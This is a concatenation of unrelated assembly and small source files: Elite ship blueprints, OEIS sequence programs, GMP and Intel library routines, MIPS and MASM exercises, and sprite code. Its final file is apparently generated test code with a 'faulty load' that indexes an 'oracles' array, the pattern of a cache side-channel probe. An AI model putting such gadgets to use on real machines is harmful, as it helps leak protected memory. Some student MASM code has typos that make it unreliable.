VERTEX -30, 0, -40, 9, 8, 10, 10, 31 \ Vertex 6
VERTEX -30, 0, -24, 10, 9, 12, 11, 31 \ Vertex 7
VERTEX -18, 7, -40, 8, 7, 13, 9, 31 \ Vertex 8
VERTEX 18, 7, -40, 6, 4, 13, 7, 31 \ Vertex 9
VERTEX -18, 7, 13, 9, 0, 13, 11, 31 \ Vertex 10
VERTEX 18, 7, 13, 2, 0, 13, 4, 31 \ Vertex 11
VERTEX -18, -7, 13, 10, 1, 14, 12, 31 \ Vertex 12
VERTEX 18, -7, 13, 3, 1, 14, 5, 31 \ Vertex 13
VERTEX -11, 3, 29, 0, 0, 0, 0, 5 \ Vertex 14
VERTEX 11, 3, 29, 0, 0, 0, 0, 5 \ Vertex 15
VERTEX 11, 4, 24, 0, 0, 0, 0, 4 \ Vertex 16
VERTEX -11, 4, 24, 0, 0, 0, 0, 4 \ Vertex 17
.SHIP_ADDER_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 1, 0, 31 \ Edge 0
EDGE 1, 2, 3, 2, 7 \ Edge 1
EDGE 2, 3, 5, 4, 31 \ Edge 2
EDGE 3, 4, 6, 5, 31 \ Edge 3
EDGE 4, 5, 14, 7, 31 \ Edge 4
EDGE 5, 6, 10, 8, 31 \ Edge 5
EDGE 6, 7, 10, 9, 31 \ Edge 6
EDGE 7, 0, 12, 11, 7 \ Edge 7
EDGE 3, 9, 6, 4, 31 \ Edge 8
EDGE 9, 8, 13, 7, 31 \ Edge 9
EDGE 8, 6, 9, 8, 31 \ Edge 10
EDGE 0, 10, 11, 0, 31 \ Edge 11
EDGE 7, 10, 11, 9, 31 \ Edge 12
EDGE 1, 11, 2, 0, 31 \ Edge 13
EDGE 2, 11, 4, 2, 31 \ Edge 14
EDGE 0, 12, 12, 1, 31 \ Edge 15
EDGE 7, 12, 12, 10, 31 \ Edge 16
EDGE 1, 13, 3, 1, 31 \ Edge 17
EDGE 2, 13, 5, 3, 31 \ Edge 18
EDGE 10, 11, 13, 0, 31 \ Edge 19
EDGE 12, 13, 14, 1, 31 \ Edge 20
EDGE 8, 10, 13, 9, 31 \ Edge 21
EDGE 9, 11, 13, 4, 31 \ Edge 22
EDGE 5, 12, 14, 10, 31 \ Edge 23
EDGE 4, 13, 14, 5, 31 \ Edge 24
EDGE 14, 15, 0, 0, 5 \ Edge 25
EDGE 15, 16, 0, 0, 3 \ Edge 26
EDGE 16, 17, 0, 0, 4 \ Edge 27
EDGE 17, 14, 0, 0, 3 \ Edge 28
.SHIP_ADDER_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, 39, 10, 31 \ Face 0
FACE 0, -39, 10, 31 \ Face 1
FACE 69, 50, 13, 31 \ Face 2
FACE 69, -50, 13, 31 \ Face 3
FACE 30, 52, 0, 31 \ Face 4
FACE 30, -52, 0, 31 \ Face 5
FACE 0, 0, -160, 31 \ Face 6
FACE 0, 0, -160, 31 \ Face 7
FACE 0, 0, -160, 31 \ Face 8
FACE -30, 52, 0, 31 \ Face 9
FACE -30, -52, 0, 31 \ Face 10
FACE -69, 50, 13, 31 \ Face 11
FACE -69, -50, 13, 31 \ Face 12
FACE 0, 28, 0, 31 \ Face 13
FACE 0, -28, 0, 31 \ Face 14
\ ******************************************************************************
\
\ Name: SHIP_WORM
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a Worm
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_WORM
EQUB 0 \ Max. canisters on demise = 0
EQUW 99 * 99 \ Targetable area = 99 * 99
EQUB LO(SHIP_WORM_EDGES - SHIP_WORM) \ Edges data offset (low)
EQUB LO(SHIP_WORM_FACES - SHIP_WORM) \ Faces data offset (low)
EQUB 73 \ Max. edge count = (73 - 1) / 4 = 18
EQUB 0 \ Gun vertex = 0
EQUB 18 \ Explosion count = 3, as (4 * n) + 6 = 18
EQUB 60 \ Number of vertices = 60 / 6 = 10
EQUB 16 \ Number of edges = 16
EQUW 0 \ Bounty = 0
EQUB 32 \ Number of faces = 32 / 4 = 8
EQUB 19 \ Visibility distance = 19
EQUB 30 \ Max. energy = 30
EQUB 23 \ Max. speed = 23
EQUB HI(SHIP_WORM_EDGES - SHIP_WORM) \ Edges data offset (high)
EQUB HI(SHIP_WORM_FACES - SHIP_WORM) \ Faces data offset (high)
EQUB 3 \ Normals are scaled by = 2^3 = 8
EQUB %00001000 \ Laser power = 1
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 10, -10, 35, 2, 0, 7, 7, 31 \ Vertex 0
VERTEX -10, -10, 35, 3, 0, 7, 7, 31 \ Vertex 1
VERTEX 5, 6, 15, 1, 0, 4, 2, 31 \ Vertex 2
VERTEX -5, 6, 15, 1, 0, 5, 3, 31 \ Vertex 3
VERTEX 15, -10, 25, 4, 2, 7, 7, 31 \ Vertex 4
VERTEX -15, -10, 25, 5, 3, 7, 7, 31 \ Vertex 5
VERTEX 26, -10, -25, 6, 4, 7, 7, 31 \ Vertex 6
VERTEX -26, -10, -25, 6, 5, 7, 7, 31 \ Vertex 7
VERTEX 8, 14, -25, 4, 1, 6, 6, 31 \ Vertex 8
VERTEX -8, 14, -25, 5, 1, 6, 6, 31 \ Vertex 9
.SHIP_WORM_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 7, 0, 31 \ Edge 0
EDGE 1, 5, 7, 3, 31 \ Edge 1
EDGE 5, 7, 7, 5, 31 \ Edge 2
EDGE 7, 6, 7, 6, 31 \ Edge 3
EDGE 6, 4, 7, 4, 31 \ Edge 4
EDGE 4, 0, 7, 2, 31 \ Edge 5
EDGE 0, 2, 2, 0, 31 \ Edge 6
EDGE 1, 3, 3, 0, 31 \ Edge 7
EDGE 4, 2, 4, 2, 31 \ Edge 8
EDGE 5, 3, 5, 3, 31 \ Edge 9
EDGE 2, 8, 4, 1, 31 \ Edge 10
EDGE 8, 6, 6, 4, 31 \ Edge 11
EDGE 3, 9, 5, 1, 31 \ Edge 12
EDGE 9, 7, 6, 5, 31 \ Edge 13
EDGE 2, 3, 1, 0, 31 \ Edge 14
EDGE 8, 9, 6, 1, 31 \ Edge 15
.SHIP_WORM_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, 88, 70, 31 \ Face 0
FACE 0, 69, 14, 31 \ Face 1
FACE 70, 66, 35, 31 \ Face 2
FACE -70, 66, 35, 31 \ Face 3
FACE 64, 49, 14, 31 \ Face 4
FACE -64, 49, 14, 31 \ Face 5
FACE 0, 0, -200, 31 \ Face 6
FACE 0, -80, 0, 31 \ Face 7
\ ******************************************************************************
\
\ Save D.MOB.bin
\
\ ******************************************************************************
PRINT "S.D.MOB ", ~CODE%, " ", ~P%, " ", ~LOAD%, " ", ~LOAD%
SAVE "3-assembled-output/D.MOB.bin", CODE%, CODE% + &0A00
|
; A070444: a(n) = n^2 mod 22.
; 0,1,4,9,16,3,14,5,20,15,12,11,12,15,20,5,14,3,16,9,4,1,0,1,4,9,16,3,14,5,20,15,12,11,12,15,20,5,14,3,16,9,4,1,0,1,4,9,16,3,14,5,20,15,12,11,12,15,20,5,14,3,16,9,4,1,0,1,4,9,16,3,14,5,20,15,12,11,12,15,20,5,14,3,16,9,4,1,0,1,4,9,16,3,14,5,20,15,12,11
pow $0,2
mod $0,22
|
; @copyright
; Copyright (C) 2020 Assured Information Security, Inc.
;
; @copyright
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; @copyright
; The above copyright notice and this permission notice shall be included in
; all copies or substantial portions of the Software.
;
; @copyright
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
; SOFTWARE.
include constants_masm.h
esr_default_text SEGMENT ALIGN(1000h) 'CODE'
esr_default PROC
mov rdx, HYPERVISOR_SERIAL_PORT
mov rax, 'e'
out dx, al
mov rdx, HYPERVISOR_SERIAL_PORT
mov rax, 's'
out dx, al
mov rdx, HYPERVISOR_SERIAL_PORT
mov rax, 'r'
out dx, al
mov rdx, HYPERVISOR_SERIAL_PORT
mov rax, '_'
out dx, al
mov rdx, HYPERVISOR_SERIAL_PORT
mov rax, 'd'
out dx, al
mov rdx, HYPERVISOR_SERIAL_PORT
mov rax, 'e'
out dx, al
mov rdx, HYPERVISOR_SERIAL_PORT
mov rax, 'f'
out dx, al
mov rdx, HYPERVISOR_SERIAL_PORT
mov rax, 'a'
out dx, al
mov rdx, HYPERVISOR_SERIAL_PORT
mov rax, 'u'
out dx, al
mov rdx, HYPERVISOR_SERIAL_PORT
mov rax, 'l'
out dx, al
mov rdx, HYPERVISOR_SERIAL_PORT
mov rax, 't'
out dx, al
mov rdx, HYPERVISOR_SERIAL_PORT
mov rax, '\n'
out dx, al
cli
hlt
esr_default ENDP
esr_default_text ENDS
end
|
dnl IA-64 mpn_and_n, mpn_andn_n, mpn_nand_n, mpn_ior_n, mpn_iorn_n,
dnl mpn_nior_n, mpn_xor_n, mpn_xnor_n -- mpn bitwise logical operations.
dnl Copyright 2003, 2004, 2005 Free Software Foundation, Inc.
dnl
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of the GNU Lesser General Public License as published
dnl by the Free Software Foundation; either version 3 of the License, or (at
dnl your option) any later version.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
dnl License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C Itanium: 2
C Itanium 2: 1
C TODO
C * Use rp,rpx scheme of aors_n.asm to allow parallel stores (useful in
C wind-down code).
C INPUT PARAMETERS
define(`rp', `r32')
define(`up', `r33')
define(`vp', `r34')
define(`n', `r35')
define(`OPERATION_xnor_n',1)
ifdef(`OPERATION_and_n',
` define(`func',`mpn_and_n')
define(`logop', `and $1 = $2, $3')
define(`notormov', `mov $1 = $2')')
ifdef(`OPERATION_andn_n',
` define(`func',`mpn_andn_n')
define(`logop', `andcm $1 = $2, $3')
define(`notormov', `mov $1 = $2')')
ifdef(`OPERATION_nand_n',
` define(`func',`mpn_nand_n')
define(`logop', `and $1 = $2, $3')
define(`notormov', `sub $1 = -1, $2')')
ifdef(`OPERATION_ior_n',
` define(`func',`mpn_ior_n')
define(`logop', `or $1 = $2, $3')
define(`notormov', `mov $1 = $2')')
ifdef(`OPERATION_iorn_n',
` define(`func',`mpn_iorn_n')
define(`logop', `andcm $1 = $3, $2')
define(`notormov', `sub $1 = -1, $2')')
ifdef(`OPERATION_nior_n',
` define(`func',`mpn_nior_n')
define(`logop', `or $1 = $2, $3')
define(`notormov', `sub $1 = -1, $2')')
ifdef(`OPERATION_xor_n',
` define(`func',`mpn_xor_n')
define(`logop', `xor $1 = $2, $3')
define(`notormov', `mov $1 = $2')')
ifdef(`OPERATION_xnor_n',
` define(`func',`mpn_xnor_n')
define(`logop', `xor $1 = $2, $3')
define(`notormov', `sub $1 = -1, $2')')
ASM_START()
PROLOGUE(func)
.prologue
.save ar.lc, r2
.body
ifdef(`HAVE_ABI_32',
` addp4 rp = 0, rp C M I
addp4 up = 0, up C M I
addp4 vp = 0, vp C M I
zxt4 n = n C I
;;
')
{.mmi
ld8 r10 = [up], 8 C M
ld8 r11 = [vp], 8 C M
mov.i r2 = ar.lc C I0
}
{.mmi
and r14 = 3, n C M I
cmp.lt p15, p14 = 4, n C M I
shr.u n = n, 2 C I0
;;
}
{.mmi
cmp.eq p6, p0 = 1, r14 C M I
cmp.eq p7, p0 = 2, r14 C M I
cmp.eq p8, p0 = 3, r14 C M I
}
{.bbb
(p6) br.dptk .Lb01 C B
(p7) br.dptk .Lb10 C B
(p8) br.dptk .Lb11 C B
}
.Lb00: ld8 r17 = [up], 8 C M
ld8 r21 = [vp], 8 C M
add n = -2, n C M I
;;
ld8 r18 = [up], 8 C M
ld8 r22 = [vp], 8 C M
;;
ld8 r19 = [up], 8 C M
ld8 r23 = [vp], 8 C M
(p15) br.cond.dpnt .grt4 C B
logop( r14, r10, r11) C M I
;;
logop( r15, r17, r21) C M I
notormov( r8, r14) C M I
br .Lcj4 C B
.grt4: logop( r14, r10, r11) C M I
ld8 r16 = [up], 8 C M
ld8 r20 = [vp], 8 C M
;;
logop( r15, r17, r21) C M I
ld8 r17 = [up], 8 C M
mov.i ar.lc = n C I0
notormov( r8, r14) C M I
ld8 r21 = [vp], 8 C M
br .LL00 C B
.Lb01: add n = -1, n C M I
logop( r15, r10, r11) C M I
(p15) br.cond.dpnt .grt1 C B
;;
notormov( r9, r15) C M I
br .Lcj1 C B
.grt1: ld8 r16 = [up], 8 C M
ld8 r20 = [vp], 8 C M
;;
ld8 r17 = [up], 8 C M
ld8 r21 = [vp], 8 C M
mov.i ar.lc = n C I0
;;
ld8 r18 = [up], 8 C M
ld8 r22 = [vp], 8 C M
;;
ld8 r19 = [up], 8 C M
ld8 r23 = [vp], 8 C M
br.cloop.dptk .grt5 C B
;;
logop( r14, r16, r20) C M I
notormov( r9, r15) C M I
br .Lcj5 C B
.grt5: logop( r14, r16, r20) C M I
ld8 r16 = [up], 8 C M
notormov( r9, r15) C M I
ld8 r20 = [vp], 8 C M
br .LL01 C B
.Lb10: ld8 r19 = [up], 8 C M
ld8 r23 = [vp], 8 C M
(p15) br.cond.dpnt .grt2 C B
logop( r14, r10, r11) C M I
;;
logop( r15, r19, r23) C M I
notormov( r8, r14) C M I
br .Lcj2 C B
.grt2: ld8 r16 = [up], 8 C M
ld8 r20 = [vp], 8 C M
add n = -1, n C M I
;;
ld8 r17 = [up], 8 C M
ld8 r21 = [vp], 8 C M
logop( r14, r10, r11) C M I
;;
ld8 r18 = [up], 8 C M
ld8 r22 = [vp], 8 C M
mov.i ar.lc = n C I0
;;
logop( r15, r19, r23) C M I
ld8 r19 = [up], 8 C M
notormov( r8, r14) C M I
ld8 r23 = [vp], 8 C M
br.cloop.dptk .Loop C B
br .Lcj6 C B
.Lb11: ld8 r18 = [up], 8 C M
ld8 r22 = [vp], 8 C M
add n = -1, n C M I
;;
ld8 r19 = [up], 8 C M
ld8 r23 = [vp], 8 C M
logop( r15, r10, r11) C M I
(p15) br.cond.dpnt .grt3 C B
;;
logop( r14, r18, r22) C M I
notormov( r9, r15) C M I
br .Lcj3 C B
.grt3: ld8 r16 = [up], 8 C M
ld8 r20 = [vp], 8 C M
;;
ld8 r17 = [up], 8 C M
ld8 r21 = [vp], 8 C M
mov.i ar.lc = n C I0
;;
logop( r14, r18, r22) C M I
ld8 r18 = [up], 8 C M
notormov( r9, r15) C M I
ld8 r22 = [vp], 8 C M
br .LL11 C B
C *** MAIN LOOP START ***
ALIGN(32)
.Loop: st8 [rp] = r8, 8 C M
logop( r14, r16, r20) C M I
notormov( r9, r15) C M I
ld8 r16 = [up], 8 C M
ld8 r20 = [vp], 8 C M
nop.b 0
;;
.LL01: st8 [rp] = r9, 8 C M
logop( r15, r17, r21) C M I
notormov( r8, r14) C M I
ld8 r17 = [up], 8 C M
ld8 r21 = [vp], 8 C M
nop.b 0
;;
.LL00: st8 [rp] = r8, 8 C M
logop( r14, r18, r22) C M I
notormov( r9, r15) C M I
ld8 r18 = [up], 8 C M
ld8 r22 = [vp], 8 C M
nop.b 0
;;
.LL11: st8 [rp] = r9, 8 C M
logop( r15, r19, r23) C M I
notormov( r8, r14) C M I
ld8 r19 = [up], 8 C M
ld8 r23 = [vp], 8 C M
br.cloop.dptk .Loop ;; C B
C *** MAIN LOOP END ***
.Lcj6: st8 [rp] = r8, 8 C M
logop( r14, r16, r20) C M I
notormov( r9, r15) C M I
;;
.Lcj5: st8 [rp] = r9, 8 C M
logop( r15, r17, r21) C M I
notormov( r8, r14) C M I
;;
.Lcj4: st8 [rp] = r8, 8 C M
logop( r14, r18, r22) C M I
notormov( r9, r15) C M I
;;
.Lcj3: st8 [rp] = r9, 8 C M
logop( r15, r19, r23) C M I
notormov( r8, r14) C M I
;;
.Lcj2: st8 [rp] = r8, 8 C M
notormov( r9, r15) C M I
;;
.Lcj1: st8 [rp] = r9, 8 C M
mov.i ar.lc = r2 C I0
br.ret.sptk.many b0 C B
EPILOGUE()
ASM_END()
|
;;
;; Copyright (c) 2018-2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%define AES_XCBC_X4 aes_xcbc_mac_128_x4_no_aesni
%define FLUSH_JOB_AES_XCBC flush_job_aes_xcbc_sse_no_aesni
%include "sse/mb_mgr_aes_xcbc_flush_sse.asm"
|
.mode flat,c
.code
; extern "C" int SignedMinA_(int a, int b, int c)
; Description: get the minimun of these integers
; Return min(a,b,c)
signedMinA_ proc
push ebp
mov ebp,esp
mov eax,[ebp+8] ; eax = 'a'
mov evx,[ebp+12] ; ecx = 'b'
; Determine min(a,b)
mov ecx,ecx
jle @F
mov eax,ecx ; eax = min(a,b)
; Determine min(a,b,c)
@@: mov ecx,[ebp+16]
cmp eax,ecx ; ecx = 'c'
jle @F
mov eax,ecx
@@: pop ebp
ret
signedMinA_ endp
; extern "C" int SignedMaxA_(int a, int b, int c)
; Description: get the nax of these integers
; Return: max(a,b,c)
signedMaxA_ proc
push ebp
mov ebp,esp
mov eax,[ebp+8] ; eax='a'
mov ecx,[ebp+12] ; ecx='b'
cmp eax,ecx
jge @F
mov eax,ecx ; eax = max(a,b)
@@: mov ecx,[ebp+16]
cmp eax,ecx
jge @F
mov eax,ecx ; eax = max(a,c,b)
@@: pop ebp
ret
signedMaxA_ endp
; extern "C" int SignedMinB_(int a, int b, int c)
; Description: get the minimun of three signed integers using condition; moves
;
; Returns min(a,b,c)
signedMinB_ proc
push ebp
mov ebp,esp
mov eax,[ebp+8] ; eax = 'a'
mov ecx,[ebp+12] ; ecx = 'b'
; Compute smallest value using the CMOVG instruction
cmp eax,ecx
cmovg eax,ecx
mov ecx,[ebp+16] ; ecx = 'c'
cmp eax,ecx
cmovg eax,ecx ; eax = min(a,b,c)
pop ebp
ret
signedMinB_ endp
; extern "C" int SignedMaxB_(int a, int b, int c)
;
; Description: Get the maximum of three signed integers using c; conditional moves.
; Returns: max(a,b,c)
signedMaxB_ proc
push ebp
mov eax,[ebp+8] ; eax = 'a'
mov ecx,[ebp+12] ; ecx = 'b'
; Compute largest using the cmovl instruction
cmp eax,ecx
cmovl eax,ecx ; eax = max(a,b)
mov ecx,[ebp+16] ; ecx = 'c'
cmp eax,ecx
cmovl eax,ecx ; eax = max(a,b,c)
pop ebp
ret
signedMaxB_ endp
end
|
.data
.text
main: li $v0, 5
syscall
sw $v0, 2048($0) # 2048 store n
addiu $sp, $sp, -20
sw $0, 0($sp)
jal FA
li $v0, 10
syscall
FA:
lw $s0, 0($sp) # $s0 = index
lw $t0, 2048($0) # $t0 = n
li $t1, 0 # $t1 = for i
beq $s0, $t0, print
reFA: beq $t1, $t0, exit # if i==n, break
sll $t2, $t1, 2
lw $t3, 0($t2) # 0 store mark[i]
bne $t3, $0, re
addi $s7, $t1, 1 # $s7 = i+1
sll $t2, $s0, 2 # $t2 = 4*index
sw $s7, 1024($t2) # store array[index]
li $s6, 1
sll $t2, $t1, 2
sw $s6, 0($t2) # mark[i] = 1
addiu $sp, $sp, -20
addi $s5, $s0, 1
sw $s5, 0($sp)
sw $ra, 4($sp) # store $ra
sw $t1, 8($sp)
sw $s0, 12($sp)
sw $t2, 16($sp)
jal FA
lw $t2, 16($sp)
sw $0, 0($t2) # mark[i] = 0
lw $s5, 0($sp)
lw $ra, 4($sp) # load $ra
lw $t1, 8($sp)
lw $s0, 12($sp)
addiu $sp, $sp, 20 # reset $sp
j re
re: addi $t1, $t1, 1
j reFA
exit: # lw $ra, 4($sp) # $ra = $ra
jr $ra
exitn: addi $a0, $0, 0xA #ascii code for LF, if you have any trouble try 0xD for CR.
addi $v0, $0, 0xB #syscall 11 prints the lower 8 bits of $a0 as an ascii character.
syscall #print \n
# lw $ra, 4($sp) # $s4 = $ra
jr $ra
print: beq $t1, $t0, exitn # if i==n, break
li $v0, 1 # gonna print
sll $t2, $t1, 2
lw $a0, 1024($t2) #1024 store array[]
syscall
li $a0, 32
li $v0, 11 # print a space
syscall
addi $t1, $t1, 1
j print # continue circle
|
; A044834: Positive integers having more base-8 runs of even length than odd.
; Submitted by Jamie Morken(s1)
; 9,18,27,36,45,54,63,576,585,594,603,612,621,630,639,1152,1161,1170,1179,1188,1197,1206,1215,1728,1737,1746,1755,1764,1773,1782,1791,2304,2313,2322,2331,2340,2349,2358,2367,2880,2889
mov $2,$0
add $0,1
div $0,8
mov $1,56
mul $1,$0
add $1,$2
mov $0,$1
mul $0,9
add $0,9
|
#include "caffe2/utils/thread_name.h"
#include <algorithm>
#if defined(__GLIBC__) && !defined(__APPLE__) && !defined(__ANDROID__)
#define CAFFE2_HAS_PTHREAD_SETNAME_NP
#endif
#ifdef CAFFE2_HAS_PTHREAD_SETNAME_NP
#include <pthread.h>
#endif
namespace caffe2 {
void setThreadName(std::string name) {
#ifdef CAFFE2_HAS_PTHREAD_SETNAME_NP
constexpr size_t kMaxThreadName = 15;
name.resize(std::min(name.size(), kMaxThreadName));
pthread_setname_np(pthread_self(), name.c_str());
#endif
}
} // namespace caffe2
|
SECTION code_fp_math48
PUBLIC _floor
EXTERN cm48_sdccix_floor
defc _floor = cm48_sdccix_floor
|
; ####################################################
; William F. Cravener Tue . 12/02/08
; ####################################################
.486
.model flat,stdcall
option casemap:none ; case sensitive
; ####################################################
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
; ####################################################
; --------------------------------------------------------
AniWindow PROTO :DWORD,:DWORD,:DWORD,:DWORD
; --------------------------------------------------------
.data
hInstance dd ?
dlgname db "MAINSCREEN",0
; ###############################################################
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
; ---------------------------------------------
; Call the dialog box stored in resource file
; ---------------------------------------------
invoke DialogBoxParam,hInstance,ADDR dlgname,0,ADDR AniWindow,0
invoke ExitProcess,eax
; ###############################################################
AniWindow proc hWin:DWORD,uMsg:DWORD,aParam:DWORD,bParam:DWORD
.if uMsg == WM_INITDIALOG
invoke AnimateWindow,hWin,400,AW_ACTIVATE or AW_HOR_POSITIVE or AW_VER_POSITIVE
invoke SetFocus,hWin
.elseif uMsg == WM_COMMAND
.elseif uMsg == WM_CLOSE
invoke AnimateWindow,hWin,400,AW_HIDE or AW_HOR_POSITIVE or AW_VER_POSITIVE
invoke EndDialog,hWin,NULL
.endif
xor eax,eax
ret
AniWindow endp
; ###############################################################
end start
|
// Copyright (c) Microsoft Corporation
// SPDX-License-Identifier: MIT
#pragma warning(push)
#pragma warning(disable : 26451) // Arithmetic overflow
#pragma warning(disable : 26450) // Arithmetic overflow
#pragma warning(disable : 26439) // This kind of function may not throw. Declare it 'noexcept'
#pragma warning(disable : 26495) // Always initialize a member variable
#pragma warning(disable : 26812) // Prefer 'enum class' over 'enum'
#pragma warning(disable : 26816) // The pointer points to memory allocated on the stack
#include "catch2\catch.hpp"
#pragma warning(pop)
|
; DRAW XOR SPRITE 2 BYTE DEFINITION ROTATED
; 01.2006 aralbrec, Sprite Pack v3.0
; sinclair spectrum version
INCLUDE "clib_target_cfg.asm"
SECTION code_clib
SECTION code_temp_sp1
PUBLIC _SP1_DRAW_XOR2
EXTERN _SP1_DRAW_XOR2NR
EXTERN SP1RETSPRDRAW
; following data segment copied into struct sp1_cs
ld hl,0
ld ix,0
call _SP1_DRAW_XOR2
; following draw code called by way of SP1UpdateNow
;
; a = hor rot table
; bc = graphic disp
; hl = graphic def ptr (mask,graph) pairs
; ix = left graphic def ptr
;
; 51 + 178*4 - 6 + 10 = 767 cycles
_SP1_DRAW_XOR2:
cp SP1V_ROTTBL/256
jp z, _SP1_DRAW_XOR2NR
add hl,bc
add ix,bc
ex de,hl
ld h,a
; h = shift table
; de = sprite def (mask,graph) pairs
; ix = left sprite def
_SP1Xor2Rotate:
; 0
ld bc,(SP1V_PIXELBUFFER+0)
inc de
ld a,(de)
inc de
ld l,a
ld a,(hl)
inc h
ld l,(ix+1)
or (hl)
xor c
ld (SP1V_PIXELBUFFER+0),a
ld l,(ix+3)
ld c,(hl)
dec h
inc de
ld a,(de)
inc de
ld l,a
ld a,c
or (hl)
xor b
ld (SP1V_PIXELBUFFER+1),a
; 1
ld bc,(SP1V_PIXELBUFFER+2)
inc de
ld a,(de)
inc de
ld l,a
ld a,(hl)
inc h
ld l,(ix+5)
or (hl)
xor c
ld (SP1V_PIXELBUFFER+2),a
ld l,(ix+7)
ld c,(hl)
dec h
inc de
ld a,(de)
inc de
ld l,a
ld a,c
or (hl)
xor b
ld (SP1V_PIXELBUFFER+3),a
; 2
ld bc,(SP1V_PIXELBUFFER+4)
inc de
ld a,(de)
inc de
ld l,a
ld a,(hl)
inc h
ld l,(ix+9)
or (hl)
xor c
ld (SP1V_PIXELBUFFER+4),a
ld l,(ix+11)
ld c,(hl)
dec h
inc de
ld a,(de)
inc de
ld l,a
ld a,c
or (hl)
xor b
ld (SP1V_PIXELBUFFER+5),a
; 3
ld bc,(SP1V_PIXELBUFFER+6)
inc de
ld a,(de)
inc de
ld l,a
ld a,(hl)
inc h
ld l,(ix+13)
or (hl)
xor c
ld (SP1V_PIXELBUFFER+6),a
ld l,(ix+15)
ld c,(hl)
dec h
inc de
ld a,(de)
ld l,a
ld a,c
or (hl)
xor b
ld (SP1V_PIXELBUFFER+7),a
jp SP1RETSPRDRAW
|
; A027796: a(n) = 55*(n+1)*C(n+3,11)/3.
; 165,2200,15730,80080,325325,1121120,3403400,9335040,23556390,55426800,122862740,258658400,520550030,1006778080,1879537000,3399510400,5975701875,10236025800,17125658550,28042014000,45017447475,70963464000,109993369200,167844019200,252421669500,374501967840,548619964200,794192710080,1136924683180,1610555003200,2259015307120,3139078342400,4323589935665,5905391131640,8002053109050,10761565111440,14369135234025,19055285643680,25105447847480,32871290144000,42784038578050,55370084770000,71269209111100
mov $1,$0
add $0,11
bin $0,$1
add $1,9
mul $0,$1
div $0,3
mul $0,55
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x929, %rbp
nop
nop
nop
nop
and %rdi, %rdi
mov $0x6162636465666768, %r14
movq %r14, %xmm6
vmovups %ymm6, (%rbp)
nop
nop
nop
nop
and %r14, %r14
lea addresses_UC_ht+0xc129, %rsi
lea addresses_A_ht+0x929, %rdi
and $21829, %rbx
mov $81, %rcx
rep movsw
cmp %rcx, %rcx
lea addresses_UC_ht+0x9531, %rbp
dec %r11
mov $0x6162636465666768, %r14
movq %r14, %xmm2
movups %xmm2, (%rbp)
nop
nop
nop
nop
nop
and $24440, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %rdi
push %rsi
// Faulty Load
lea addresses_A+0x10129, %rsi
nop
nop
nop
nop
and $29437, %r12
mov (%rsi), %r10
lea oracles, %rdi
and $0xff, %r10
shlq $12, %r10
mov (%rdi,%r10,1), %r10
pop %rsi
pop %rdi
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
